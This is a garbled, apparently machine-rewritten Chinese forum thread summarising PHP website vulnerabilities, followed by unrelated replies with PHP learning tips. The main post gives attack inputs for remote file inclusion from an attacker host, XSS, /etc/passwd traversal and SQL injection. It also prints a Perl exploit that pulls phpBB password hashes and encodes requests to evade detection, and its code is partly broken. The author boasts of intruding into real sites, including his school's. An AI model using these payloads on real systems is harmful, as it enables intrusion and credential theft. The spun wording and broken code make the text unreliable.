仓酷云

标题: PHP网页编程之PHP网站破绽的相干总结 [打印本页]

作者: 逍遥一派    时间: 2015-2-16 00:24
标题: PHP网页编程之PHP网站破绽的相干总结
学会了生成静态网页,现在你应该接触一下XML了,恩,XML也了解了,那么AJAX你也得接触接触吧?AJAX完了....然后...     从如今的收集平安来看,人人最存眷和接触最多的WEB页面破绽应当是ASP了,在这方面,小竹是专家,我没讲话权.但是在PHP方面来看,也一样存在很严重的平安成绩,然而这方面的文章却不多.在这里,就跟人人来略微的会商一下PHP页面的相干破绽吧.


  我对今朝罕见的PHP破绽做了一下总结,大致分为以下几种:包括文件破绽,剧本号令履行破绽,文件泄漏破绽,SQL注入破绽等几种.固然,至于COOKIE棍骗等一局部通用的手艺就不在这里会商了,这些材料网上也良多.那末,咱们就一个一个来剖析一下如何使用这些破绽吧!


  起首,咱们来会商包括文件破绽.这个破绽应当说是PHP独有的吧.这是因为不充实处置内部供应的歹意数据,从而招致近程进击者可以使用这些破绽以WEB历程权限在体系上履行恣意号令.咱们来看一个例子:假定在a.php中有如许一句代码:
  <?php
  include($include."/xxx.php");
  ?>
  在这段代码中,$include通常为一个已设置好的途径,然而咱们可以经由过程本人机关一个途径来到达进击的目标.例如说咱们提交:a.php?include=http://web/b.php,这个web是咱们用做进击的空间,固然,b.php也就是咱们用来进击的代码了.咱们可以在b.php中写入相似于:passthru("/bin/ls /etc");的代码.如许,就能够履行一些有目标的进击了.(注:web办事器应当不克不及履行php代码,否则就出成绩了.相干概况可以去看<<若何对PHP法式中的罕见破绽停止进击>>).在这个破绽方面,出情况的良多,例如说:PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.


  接着,咱们再来看一下剧本号令履行破绽.这是因为对用户提交的URI参数短少充实过滤,提交包括歹意HTML代码的数据,可招致触发跨站剧本进击,能够取得方针用户的敏感信息。咱们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面临PHPSESSID短少充实的过滤,咱们可以经由过程如许的代码来到达进击的目标:
  http://web/index.php?PHPSESSID="><script>...</script>在script外面咱们可以机关函数来取得用户的一些敏感信息.在这个破绽方面绝对要少一点,除PHP Transparent以外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.


  再然后,咱们就来看看文件泄漏破绽了.这类破绽是因为对用户提交参数短少充实过滤,近程进击者可以使用它停止目次遍历进击和获得一些敏感信息。咱们拿比来发明的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的'what'参数停止充实过滤,近程进击者提交包括多个'../'字符的数据,即可绕过WEB ROOT限制,以WEB权限检查体系上的恣意文件信息。例如说打入如许一个地址:export.php?what=../../../../../../etc/passwd%00 就能够到达文件泄漏的目标了.在这方面绝对多一点,有:myPHPNuke,McNews等等.


  最初,咱们又要回到最高兴的中央了.想一想咱们平常在asp页面顶用SQL注入有何等爽,之前还要手动注入,一向到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI今后,咱们NB同盟真是拉出一片天空.曾前后帮CSDN,豪富翁服装论坛,中国频道等大型网站找露马脚.(这些空话不多说了,有点跑题了...).仍是言规正传,其其实asp中SQL的注入和php中的SQL注入大致不异,只不外略微注重一下用的几个函数就行了.将asc改成ASCII,len改成LENGTH,其他函数根基不变了.其实人人看到PHP的SQL注入,是否是城市想到PHP-NUKE和PHPBB呢?不错,俗语说树大招分,像动网如许的服装论坛在asp界就该是破绽这王了,这并非说它的服装论坛平安太差,而是名望太响,他人用的多了,研讨的人也就多了,发明的平安破绽也就越多了.PHPBB也是一样的,如今很大一局部人用PHP做服装论坛的话,普通都是选择了PHPBB.它的破绽也是一向在出,从最早phpBB.com phpBB 1.4.0版本被人发明破绽,到如今比来的phpBB 2.0.6版本的groupcp.php,和之前发明的search.php,profile.php,viewtopic.php等等加起来,也许也有十来个模样吧.这也一向招致,一局部人在研讨php破绽的时分城市拿它做实行品,所谓百练成精嘛,信任今后的PHPBB会愈来愈好.


  好了,咱们仍是来剖析一下破绽发生的缘由吧.拿viewtopic.php页面来讲,因为在挪用viewtopic.php时,直接从GET恳求中取得"topic_id"并传递给SQL查询号令,而并没有停止一些过滤的处置,进击者可以提交特别的SQL字符串用于取得MD5暗码,取得此暗码信息可以用于主动登录或停止暴力破解。(我想应当不会有人想去暴力破解吧,除非有出格主要的缘由).先看一下相干源代码:
#   if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
#   {
#      $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
#   }
#   else if ( isset($HTTP_GET_VARS['topic']) )
#   {
#      $topic_id = intval($HTTP_GET_VARS['topic']);
#   }
从下面咱们可以看出,假如提交的view=newest而且sid设置了值的话,履行的查询代码像上面的这个模样(假如你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响体系为:phpBB 2.0.5和phpBB 2.0.4).
#       $sql = "SELECT p.post_id
#       FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
#       WHERE s.session_id = '$session_id'
#         AND u.user_id = s.session_user_id
#         AND p.topic_id = $topic_id
#         AND p.post_time >= u.user_lastvisit
#       ORDER BY p.post_time ASC
#       LIMIT 1";
Rick供应了上面的这断测试代码:
use IO::Socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4';  # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";
$p = "";
for($index=1; $index<=32; $index++)
{
   $socket = IO::Socket::INET->new(PeerAddr => $remote,
               PeerPort => $port,
               Proto => "tcp",
               Type => SOCK_STREAM)
   or die "Couldnt connect to $remote:$port : $@\n";
   $str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0\n\n";
   print $socket $str;
   print $socket "Cookie: phpBB2mysql_sid=1\n";  # replace this for pgsql or remove it
   print $socket "Host: $remote\n\n";
   while ($answer = <$socket>)
   {
        if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num>
        {
            $p .= chr ();
        }
   }
   close($socket);
}
print "\nMD5 Hash for uid $uid is $p\n";
# random encode str. helps avoid detection
sub random_encode
{
   $str = shift;
   $ret = "";
   for($i=0; $i<length($str); $i++)
   {
        $c = substr($str,$i,1);
        $j = rand length($str) * 1000;


        if (int($j) % 2 || $c eq ' ')
        {
            $ret .= "%" . sprintf("%x",ord($c));
        }
        else
        {
            $ret .= $c;
        }
   }
   return $ret;
}
sub make_dbsql
{
   if ($dbtype eq 'mysql4')
   {
        return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
   } elsif ($dbtype eq 'pgsql')
   {
        return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
   }
   else
   {
        return "";
   }
}
这断代码,我就不多做注释了.感化是取得HASH值.


  看到这里,人人能够有点疑问,为何我后面讲的那些改的函数怎样没有效到,我讲出来不怕人人笑话:其实网上良多站点有些页面的查询语句看起来会是如许:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,欠好讲出来,不外咱们黉舍的网站,我就是靠这个进后台的(但愿黉舍收集中间的看不到这篇文章,^_^).把后面那函数用上吧.否则你只要改人家的暗码了哦!!!


  差点忘了一点,在SQL注入的时分,PHP与ASP有所分歧,mysql对sql语句的应用没有mssql天真,因而,良多在mssql上可以用的查询语句在mysql数据库中都不克不及见效了. 普通咱们罕见的注入语句像如许:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再进一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt
如许可以将数据库数据导出为文件,然后可以检查.
  或是如许:mode=',user_level='4
这个语句普通用在修正材料时,假定页面存在破绽的话,就能够到达提拔权限的做用.
其它的如' OR 1=1 -- 或:1' or 1='1则跟asp差不多.这里不多讲了.在php外面,SQL注入看来仍是破绽之首啊,有太多的页面存在这个成绩了.


  其实人人可以看出来,下面那些分类归根结柢只要一个缘由:提交参数没过滤或是过滤不敷严谨.黑客防地历来有攻有守.这里,就大致讲一下提防的办法吧.
  
  起首,我团体以为最主要的一点是将magic_quotes_gpc高为ON,它的感化是将单引号,双引号,反斜线,和空字符转换为含有反斜线的字符,如select * from admin where username='$username' and password='$password'语句,进击者想用1' or 1='1跳过验证,然而,那些字符串将被转换成如许:select * from admin where username='a' and password='1\' or 1=\'1'从而到达禁止注入的目标,现实也就是主动停止了addslashes()操作.再不可的话,本人界说函数处置吧.如今看来,那些弄PHP注入的人也对照愁闷,由于myslq4以下版本不撑持子语句,而新版本的mysql又会将magic_quotes_gpc选项默许为开.


  处理包括文件破绽用的办法就是:请求法式员包括文件里的参数尽可能不要利用变量,假如利用变量,就必定要严厉反省要包括的文件名,相对不克不及由用户恣意指定,建议设global_variables为off。如后面文件翻开中限制PHP操作途径是一个需要的选项。别的,如非特别需求,必定要封闭PHP的近程文件翻开功效。修正php.ini文件:allow_url_fopen = Off(注:拜见<<PHP平安成绩:近程溢出、DoS、safe_mode绕过破绽>>).


  还有一点我感觉良多网站城市有这个成绩,就是没有关毛病显示.轻一看能够没甚么,然而一些盯了好久(用词有点不合错误哦)的人就能够经由过程毛病提醒来取得如数据库信息,网页文件物理途径等等。学习数据库了,MYSQL可算是PHP的黄金搭档了,不过,虽然话是这么说,你也可能恨不得把MYSQL给生吞活剥了,因为这一行一列的东东简直让自己头晕目眩。
作者: 分手快乐    时间: 2015-2-16 01:13
曾经犯过一个很低级的错误,我在文件命名的时候用了一个横线\\\\\\\'-\\\\\\\' 号,结果找了好几个小时的错误,事实是命名的时候 是不能用横线 \\\\\\\'-\\\\\\\' 的,应该用的是下划线  \\\\\\\'_\\\\\\\' ;
作者: 精灵巫婆    时间: 2015-2-27 19:43
建议加几个专业的phper的群,当然啦需要说话的人多,一处一点问题能有人回答你的,当然啦要让人回答你的问题,平时就得躲在里面聊天,大家混熟啦,愿意回答你问题的人自然就多啦。
作者: 柔情似水    时间: 2015-3-3 14:54
使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。
作者: 第二个灵魂    时间: 2015-3-11 11:23
在我安装pear包的时候老是提示,缺少某某文件,才发现 那群extension 的排列是应该有一点的顺序,而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去,只留下我需要使用的扩展。
作者: 灵魂腐蚀    时间: 2015-3-12 23:31
兴趣是最好的老师,百度是最好的词典。
作者: 透明    时间: 2015-3-17 08:52
本文当是我的笔记啦,遇到的问题随时填充
作者: 活着的死人    时间: 2015-3-17 10:11
本文当是我的笔记啦,遇到的问题随时填充
作者: 小魔女    时间: 2015-3-24 06:58
使用zendstdio 写代码的的时候,把tab 的缩进设置成4个空格是很有必要的
作者: 冷月葬花魂    时间: 2015-3-24 08:15
装在C盘下面可以利用windows的ghost功能可以还原回来(顺便当做是重转啦),当然啦我的编译目录要放在别的盘下,不然自己的劳动成果就悲剧啦。
作者: 再见西城    时间: 2015-3-27 06:52
作为一个合格的coder 编码的规范是必须,命名方面我推崇“驼峰法”,另外就是自己写的代码最好要带注释,不然时间长了,就算是自己的代码估计看起来都费事,更不用说别人拉。
作者: 若相依    时间: 2015-3-28 16:28
建数据库表的时候,int型要输入长度的,其实是个摆设的输入几位都没影响的,只要大于4就行,囧。
作者: 飘飘悠悠    时间: 2015-4-14 08:17
不禁又想起那些说php是草根语言的人,为什么认得差距这么大呢。
作者: 山那边是海    时间: 2015-4-16 03:59
写js我最烦的就是 ie 和 firefox下同样的代码 结果显示的结果千差万别,还是就是最好不要用遨游去调试,因为有时候遨游是禁用js的,有可能代码是争取结果被遨游折腾的认为是代码写错。
作者: 海妖    时间: 2015-4-18 23:15
其实也不算什么什么心得,在各位大侠算是小巫见大巫了吧,望大家不要见笑,若其中有错误的地方请各位大虾斧正。
作者: 兰色精灵    时间: 2015-4-21 20:13
首推的搜索引擎当然是Google大神,其次我比较喜欢 百度知道。不过搜出来的结果往往都是 大家copy来copy去的,运气的的概率很大。
作者: 不帅    时间: 2015-4-28 20:51
首先声明:我是一个菜鸟,是一个初学者。学习了一段php后总是感觉自己没有提高,无奈。经过反思我认为我学习过程中存在很多问题,我改变了学习方法后自我感觉有了明显的进步。
作者: 只想知道    时间: 2015-5-6 16:12
多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。
作者: 因胸联盟    时间: 2015-6-11 11:41
说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。
作者: 小女巫    时间: 2015-6-16 23:33
本文当是我的笔记啦,遇到的问题随时填充




欢迎光临 仓酷云 (http://ckuyun.com/) Powered by Discuz! X3.2